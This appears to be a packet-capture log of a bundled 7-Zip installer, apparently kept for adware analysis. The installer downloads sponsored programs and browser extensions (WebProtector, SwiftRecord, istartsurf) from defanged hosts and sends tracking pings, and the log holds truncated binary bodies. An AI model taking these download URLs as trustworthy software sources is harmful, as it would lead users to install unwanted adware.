2.......%.Qv.=.g.i.........{.~.o....5.1g[...._ .C.o.=.....%...[..[..i.
...Z/.z..i..UP.......8...sX..Y......iYI...C.(E7..S..9...H,L...e..^ N.7
...x.Qp.J.T....xz}.....&.%...<,. ..{s.=..Vp.........'./......Zv9.m.
.P.f..8....w...`..pJ....>a.'(....s'...l|t.....WO ..)3......2.....F.
..@...#.v........29.#..w.-...nN..S"w..b........4.HY.......>.v..?...
...>.#..\...sA.......W....^pS.z......9..%Q.l...7.}...[..*<  rq.L
:....[.$7=.=B.mE-......)s..KM...........!..s..xa2...v3..uF...gO.G'.B.e
..-...z#..ck{`.v....`gx....Eg........`[email protected]...'.A.....Z...LVA
Qd.q..( ...........6...6....P"..~.9......47..T.....IE..([.S.O.|o.1{Ue.
.?C^-................T9P.pb..B#.....0_B....:#....v....8<.M:A.."
<<< skipped >>>


GET /infv5/index/3428/bnd HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Host: dqoup4b5zs0bi.cloudfront.net
Accept: */*
Accept-Encoding: gzip, deflate
Connection:keep-alive


HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 0
Connection: keep-alive
Date: Thu, 30 Apr 2015 09:22:46 GMT
Location: hXXp://dlrkbt247pbk6.cloudfront.net/3428_3b67a5ef5d450c1556c543c6323981d9/1.pak
Server: nginx
X-Cache: Miss from cloudfront
Via: 1.1 da44a033908207250002410c047e8764.cloudfront.net (CloudFront)
X-Amz-Cf-Id: ERZIu_OrvDLTiKVm3B2uT9DOTEUBraD52GJ5DYY19rFXJ6G8XEBqrA==
HTTP/1.1 302 Moved Temporarily..Content-Type: text/html..Content-Lengt
h: 0..Connection: keep-alive..Date: Thu, 30 Apr 2015 09:22:46 GMT..Loc
ation: hXXp://dlrkbt247pbk6.cloudfront.net/3428_3b67a5ef5d450c1556c543
c6323981d9/1.pak..Server: nginx..X-Cache: Miss from cloudfront..Via: 1
.1 da44a033908207250002410c047e8764.cloudfront.net (CloudFront)..X-Amz
-Cf-Id: ERZIu_OrvDLTiKVm3B2uT9DOTEUBraD52GJ5DYY19rFXJ6G8XEBqrA==..



GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=1&index_in_screen=1&index_in_session=1&0.878708690459731 HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/591e247a260e754da0a14c821f058054?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.58050192.1430385829.1430385829.1430385829.1; __utmb=1.5.10.1430385829; __utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __utmc=1


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:25:52 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 30 Apr 2015 09:25:52 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=482374-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 803955
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 25 Apr 2015 19:35:23 GMT
Content-Range: bytes 482374-1286328/1286329
X-Cache: RefreshHit from cloudfront
Via: 1.1 f989b812753677758cd8909391e239ac.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 5On_kQ34UsJ_pRVivakM3rWwpVQJVOG4KSs7K3nKILyoU139MZL8ZA==
..'.....yR..T'...&..].R .^...s...I....,..]c....d.2m.V..rw......e[..B..
.. [email protected]!.u..,...!".DR..N.}..A....p..zB...f_..E......-Bq.m...
......=........{.9(#.Z....k......A..d..L....f...Y.^.m..MMW#EOc..._.w.^
q...........S...C..o...2N..b"Q...N.......k..........S...RF.t.<7..".
[email protected]"?jN...A...W .F1.;...*bdY.....,;y...c....|#.
........d..C.t.....fGK..)..b..g9..b......._...J.!........W...a..7./.0o
%...&Q.E.He....*.a..Y...uqAaw..e.Y...x..-h`-......^.&%.m/.....xe......
9..`....3>.L.Y.....9..9..1........Y..m....1.se8...\c.......vT...P..
w.a.9..2..%.dR.........Wc.../T#............$.N..n.J.2.....vi.p..Xpl.v.
.-....9.y.]2..E..^....Z.?r...j7..#.a.P.......9_..,r.1......4.......~..
....6...Z{d..V.V....u3.L.O}8q.5..{|.[...M:qa.D.....j..WjB ..k.....J0..
A.r.....B.4U...d...e=WB.L...xY.4m?y6..]......fe........i.6.)....:f..e.
y,...G(4...<."=bW.X.....'...7..|.F..&..a....0{.3H.d..V..O].$R7>w
O......w}...NWx...O...5`F..;0Q..u>....P.#..d.......]Fy.q.re.."|.i?^
?...r)9......,.l...c...Vf.%.<.cGE.ZW....^.)......t86...)..q......S.
[email protected]..~...6..X<.  ./..X....8.}../.....p*.......sK..6...
-..8e...."rZ..N_76.. ....36"....N.-..h...O*N$.......{.*.....?...=.....
zp..}.6f.=..Q:g..^.C...0c..s"=....-A.y.k.<..aI.Y.C..w..6..>.Vf..
O.[...N.dA....6.....t.#..~...".L.j..".Z.&PA...~ky......L....)ns...x.]}
..5D...t3......O...).^.g..J...I.}...d.`..`H8c..#A.4..y...t.....0...e.n
U...9:[email protected]~.....7....`..?b..r....j.{.... .C!$....X.C....e
..W.;...N6..f.b......&../...g...cWm?k.....^e...U$....}.>.......
<<< skipped >>>


GET /node/?s=9813&br=4 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 301 Moved Permanently
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:23:08 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Location: ../c/LiveUpdateWPP_is.exe
0......


GET /c/LiveUpdateWPP_is.exe HTTP/1.1


User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:23:08 GMT
Content-Type: application/octet-stream
Content-Length: 280251
Last-Modified: Wed, 29 Apr 2015 09:14:13 GMT
Connection: keep-alive
ETag: "5540a0e5-446bb"
Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................^...|.......0.......p....@.........................
.................................................t..........8.........
...................................................................p..
.............................text....].......^.................. ..`.r
data.......p.......b..............@[email protected]..........
....@....ndata...................................rsrc...8............z
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$....B...Si.....VW.T.....tO.q.3.;5..B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5..B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>

GET /node/?s=9813&br=2 HTTP/1.1


User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 301 Moved Permanently
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:23:10 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Location: ../a/9813.xpi
0......


GET /a/9813.xpi HTTP/1.1


User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:23:10 GMT
Content-Type: application/x-xpinstall
Content-Length: 39202
Last-Modified: Mon, 30 Mar 2015 12:17:50 GMT
Connection: keep-alive
ETag: "55193eee-9922"
Accept-Ranges: bytes
PK.........|}F..O.8...........chrome/content/main.js.W[o.H.~&R.....o)N
 .vU Z.1n..M6n.'.a...3...F ...a...i..~....;......[.Y$.c...]#..h.......
......Z.G[8...../....'......g>sW...g.W.'...CM........A.9%.).'..=...
.*\.g.../..M....S...p........v<.2./W..\.......z.Fa..2%.q......x..u.
....r".v....]....4...B.q..[>...n.....O...&{._..G.tI...b..;<.Y.y.
8.n.E....4.x*'..E..S.$..B.r..j$."..S...fF..i..H..!......~..OB.1....Gt3
 .E.......B.1......~.(%U.uv...W..tK\7t.S.....0...>...`F...P.r.u Y..
c.......2<........c.Y.E.. .WV..Z...v..eS.V.Q.....^MrK.%~.E.l.b...*l
n<..x..e...~....:2_.F...ja.UN>....5/y........*.t.....|...l....z.
.....`.&D....2..k. .O."......e....:[email protected]>.!zk<4......O.(..:2..
c"..I..E..Y;@..$*....BU.........jo.....ubo.Q....i|&..<....=..p.....
<...m...U......b,.2@.......<7..&.7.v.v1..-....`.6........L..o.t.
.[.../.....%&d o.K.......$...d:......%[email protected].`....&^
Q.;7...Rr.]ij.V...;.....r<...i. 3........^&{)....6......./L...O^..l
..?.,..5....._.]..k?.T..U...S..9./z...b...j...#.J.2.xf..G.D. 4...O...q
q....d..q......1...&if#......!=..U...%^.yO.....%......O......U.q..O.Yf
h..W-0.N$.M.e(.J.?(.......l...>[email protected].........|}
FF.a.............chrome/content/main.xul.TMo.0.='@....v.....d..t....C.
....... ..._?}8_.....d.......q.$9.uB....{[email protected]../_.O.......9.%...Ika
[......c=l...5j..^(.q...9Jp4PR..Y8G:.SJ>....26...n>...S.U..,i.hB
.....\..[,.K6........BJ..{.;..,.q.=......\.\ 9.....'.l...08.......5bC.
..<.)q.....V......V.KQ...G._......ws..".6......]>Y.;./..N.Z.
<<< skipped >>>

GET /node/?s=9813&br=5 HTTP/1.1


User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 301 Moved Permanently
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:23:10 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Location: ../c/SetupWPP.exe
0......


GET /c/SetupWPP.exe HTTP/1.1


User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:23:10 GMT
Content-Type: application/octet-stream
Content-Length: 257237
Last-Modified: Sun, 22 Feb 2015 09:29:46 GMT
Connection: keep-alive
ETag: "54e9a18a-3ecd5"
Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
.........(............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc...(............v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>

GET /node/?s=9813&br=3 HTTP/1.1


User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 301 Moved Permanently
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:23:11 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Location: ../c/webprotector_chrome
0......


GET /c/webprotector_chrome HTTP/1.1


User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:23:11 GMT
Content-Type: application/octet-stream
Content-Length: 32
Last-Modified: Thu, 22 Jan 2015 19:42:16 GMT
Connection: keep-alive
ETag: "54c15298-20"
Accept-Ranges: bytes
kfecnpmgnlnbmipaogfhoacoioifjgko....


GET /node/?s=9813&br=1 HTTP/1.1


User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 301 Moved Permanently
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:23:11 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Location: ../c/webprotector_installer.exe
0......


GET /c/webprotector_installer.exe HTTP/1.1


User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:23:11 GMT
Content-Type: application/octet-stream
Content-Length: 288140
Last-Modified: Tue, 31 Mar 2015 13:09:04 GMT
Connection: keep-alive
ETag: "551a9c70-4658c"
Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........0.......p....@.........................
.................................................s...........C........
...................................................................p..
.............................text...hZ.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected]...@[email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...6B...Si.....VW.T.....tO.q.3.;5.6B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.6B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=277620-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache



[email protected].. ....jV.T...6..>.K.........
~..s..f..v..S...k.j..aU..@[.DiS........R1}....f8.%.....&..TxX6v.=.*.&"
..$......x.X.[.gv!.... ....l>H.MAVp/OB5L\..,S.B\.%U.t...."..x....`.
.N... G...0#wIWTvM..C.-.]'....,MQ.po_'.t.. -5.%.7.A.V.Ih....v.....)...
[email protected].%.......o.|..:%[email protected]<.....lq.4L....2y..&|z/.s~...'.
Q........yD.K;o....L ........y"...eY.x4..x>K.Ry...4.Z.Kcf.....Q<
.G}....kkUa..s.q..M.....!..3.q-........=...-.8.........S.....XR.Y.....
}...G..E....l...<.~0......1......8i...(....3.D.o....B..../.QZ......
h.~.#3......:.O.....h......}#..M.....j..W.7.....Na...0...-.../}"...7..
..q......:.....rxKA..V;.. ..... ........D.....o7.....X./dO..P.n.3..C,)
*j..W....641..b.nk1L... ......*:3...A.,.....*..0.&t.~..V~K.K#4....E>
;..O.....<w........g....D..9BV........C.Kv.C..v...SI..s...).....c.4
.-.Q.........z..>.]1(.'G73.ssi"..0.......|.S...[.....8..,..t.E.c..U
.ch......T1..a....M...D....;.Ky.-........k.O'..r....IHm.....-.._Z.6...
.Y.....t...y^....Z...9...........p.B..JQ.._W.....H...j.(...wI.r&^;..a.
.e.......tey)...v..........(.....$.X{..D.U@.).V>...9...cO`.z..0...U
....o........}x.M..?.B.....!.?...F%n.W.y..|...mq..2S...*..iF....?.a.:.
...m L9uq...t.../..,k'.m.&...[..$~q5.G.\...t..n.... ...A...r..36-.L?..
.....=.T.|9...V.....J.[...B.h P....3...J..>6<.c=H........k......
....zO..5F4VAh^..d../.........r.WC..".._M.....q4.B...o..4...l..o....}.
....,p....).}....:......W.....(}....P9.E.k.Z..W.i.0!o....5.!..S..5.OOL
r.%........iy.)O..........G.i.,..|..R.;.tts.L. ...j..J..J.)I.$..`.
<<< skipped >>>


GET /b/WebProtectPI.exe?s=9813&i=C7EA5D40-7F8D-41EE-8724-16F387C4EEE8&v=4.1.0.13 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:24:43 GMT
Content-Type: application/octet-stream
Content-Length: 130318
Last-Modified: Tue, 28 Apr 2015 13:38:29 GMT
Connection: keep-alive
ETag: "553f8d55-1fd0e"
Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........0.......p....@.........................
.................................................s....................
...................................................................p..
.............................text...hZ.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected]...@[email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...6B...Si.....VW.T.....tO.q.3.;5.6B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.6B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>


GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 72922
Connection: keep-alive
Date: Thu, 30 Apr 2015 00:10:23 GMT
x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990
Cache-Control: max-age=3600
Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT
ETag: "80764229a410305724108417115b8ce8"
Accept-Ranges: bytes
Server: AmazonS3
Age: 3540
X-Cache: Hit from cloudfront
Via: 1.1 09052d1a6e392e4f4a3fd97bf34a2b24.cloudfront.net (CloudFront)
X-Amz-Cf-Id: xY858jC3t2zg2L5zDsJXNUiF60pjsJUuCpNBRCukN29z_e_QRbLY_w==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........0.......p....@.........................
.................................................s.......... B........
...................................................................p..
.............................text...hZ.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected]...`[email protected]... B.......D...v
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...6B...Si.....VW.T.....tO.q.3.;5.6B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.6B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>


GET /sponsored/speedbit/eula-youtubeaccelerator.html HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/69fcc8129cc3cf46b36b738c6b72bbc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d3ffn9rvm681fx.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Server: nginx
Date: Sun, 26 Apr 2015 05:55:53 GMT
Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT
Expires: Sun, 26 Apr 2015 06:05:53 GMT
Cache-Control: max-age=600
Content-Encoding: gzip
Vary: Accept-Encoding
X-Cache: RefreshHit from cloudfront
Via: 1.1 a436b6df4b0d1bd189edf722b5d2a523.cloudfront.net (CloudFront)
X-Amz-Cf-Id: Uz7Ph0mqDSfxOARv4EKJsL2Ia-EwknXYShVSLa_vshBDhCkvbHl61A==
2799.............]ko..y.....&J.K.D...h........[,.n...F...5.af... @.F.^
.I..y.s..9.:..H.D.9s...y/~..._=.......]...o?{~.,.;:>~..g..._|...W./
.g.G...:_6e[V.|~||.r/..j..........OGU=;.xs..c=....Q..9......<.....e
.d`..?....m=[...h.u.j..vU<.k....w.un..e...^.......>z.I....}.QM..
r9.nF......o.......O....r...?......I..z.}q{.M.i....>...K.,...>y.
\.....'{..m[....i.....~..d......Gu....b...o....p..o..;H?..>.v..{.:.
.....0.........................'._......?.l....o..Q.....9..q.C.]..4...
.70...w.a.v]/.~......zn\M..o..U.U.,.-.....q.........B........WE.~Q...u
.S.w.. .`K.j.^`X.......g....e.(......_?.6..p^.../.."o..w.>......FM.
.. ..u[....|.p......;...I.{..Q..i.|.w.w...c..G.jU,'....d.S..~f.)r.....
..A...w...9.. R....g..Y...x..'..{.(.<._.5N.......3...c.F...)..wYMn.
........e?z.....-.zV..e....U..G..\.([V."...i.l............i.(........)
.r..~..]}.)y.&....Q6.W%X.Cm.<z..b.OM.dYX.?.>d......{...k........
y1m.eG...{....#........&.._./.....O.U./..Ev2... y[..EQ/....mS`.O....&g
t;....x.7....l............a...q.W.c.#./......^\..... ..Y6/...).|9. .l.
5>...*.-....YW./.a...lV].......r,...q.:Fi1..<kA...__..........x.
.Ap.?...Z..=......q.4.)....R[.9~...*.*(....'.Yi..p.B.n......e'...I.T.;
.L.^-..Co...j0u..j...dc0B^..I.r.....-.(...n......1.-...'.*.......M^...
.&...y~..-...;W....UV.8.,.c.'...QLd 4x.....fmU....<...M..pRN3\{S`AX
..6..X........'_._....q2.8.?.QF.M.0.>.l^......6.I:...4DvY.7E!.=....
m.C.....U.}...c.....??.......[e...H..-.c:-.%vj'..A..2.K|..%]......{Ga.
...EQ..Z|Q..6?..4?z|................H.%.....{....\b[.........L....
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=65407-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 01 May 2015 09:27:18 GMT
Date: Thu, 30 Apr 2015 09:27:18 GMT
Content-Range: bytes 65407-523255/523256
Content-Length: 457849
Connection: keep-alive
.a.:K...0..y2.`.!.T......Y........]X.:.34.y.......y.0..."]..>y..._.
2. D..=X.i........0...`....O.~.J.|.#.:.R.D.?..~...Z.).U%.W..&...D....b
.\..H?f.....]..........l.F&..^.o..[.3...V.......'_.X%..L..x...........
....V...4W=X..C..;....q.0...............R..x.y1.!....ZC.......Z:.7....
..R..m...#[email protected]:...
.....:...D..o..>...H-...A ..D#.....S.D.C.....~.....T.....#.... 3...
......~...... .mP.U.=.E.,.#p.. .q.......b...j.w=.&.:s.%.q.F.."0.r.l.".
8......../...I..4.7..5..t.,....t...8D..RQm......o.](../.hv..T.Z.~2.K..
........q_DMF..X.#..\.....>'..(. 1..lD..3..v..'\U...n_7..iH;.i.RV~3
!....oS.....]l..5o.e...;....F*....!.D .*..h..!x..`.h.....I.]'gB.....e.
..?lO.*|.......q.u..x...3....8......@.@R.....%@"...n.....dDk).h.Z..lG.
...4..,Y....9"N2q.D..c...ig!....W..fzT.iL.4...5I(..Q!2l.=m.T...F.o..DI
.. .....<.....eV.>|K$)L..x....I._.....yC.MK..Ps.)..'.F.Ia..3....
\...W...@.*I6L6.l_A7..0.i...,Z.......z.Wg6w..Z.6.Te5JM..U.H}3.....l...
0.f..g...O2.4l..m[hW..|(l}U.....m.T.`..s.s.kp....).:M.....i.E.........
[email protected]/..x...q..s..&5..m@'.4`....&c....9...a..g..........
.'[email protected].....>...h.....^CW.......'t.vO..E..I.*........g!.
q.W.1k@G=F..M.:[email protected]..=p.Q-rCP.
J..i...[....i.*?.w..%..p.HkKEa.7........FY.M.]...K.%......3.A..~X.o.U.
.3.P..=.3..x.h [email protected].."_..B.J.kF...J...U..kB...W.e
>D...]\e.m....<.B.......BZ...#.w.!P..`7g.p<Z7......{.$.x..o..
.f~..Fd.p.!....]e^I.........1.N.]n...%*.I.r`.................k:...
<<< skipped >>>


GET /v4/sof-installer/267123711_198339_B48A115F?action1=xa.geoip&action2=visit&action3=smt.visit.istartsurf&update1=ref,smt&update2=identifier,installer&update3=version,6.6.86.1606&update4=nation,us&update5=language,en HTTP/1.1
Accept: */*
Accept-Encoding: */*
Connection: Keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36
Host: xa.xingcloud.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Thu, 30 Apr 2015 09:23:21 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"1.87 ms","message":"store 4 action and 5 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Thu, 30 Apr 201
5 09:23:21 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encod
ing: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-
version: v4..48..{"stats":"ok","time":"1.87 ms","message":"store 4 act
ion and 5 update "}..0......


GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.dlzip1.istartsurf.finish,2 HTTP/1.1


Accept: */*
Accept-Encoding: */*
Connection: Keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36
Host: xa.xingcloud.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Thu, 30 Apr 2015 09:23:23 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"1.27 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Thu, 30 Apr 201
5 09:23:23 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encod
ing: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-
version: v4..48..{"stats":"ok","time":"1.27 ms","message":"store 1 act
ion and 0 update "}..0..



GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=2&index_in_screen=1&index_in_session=2&0.7302640051725993 HTTP/1.1
Accept: */*
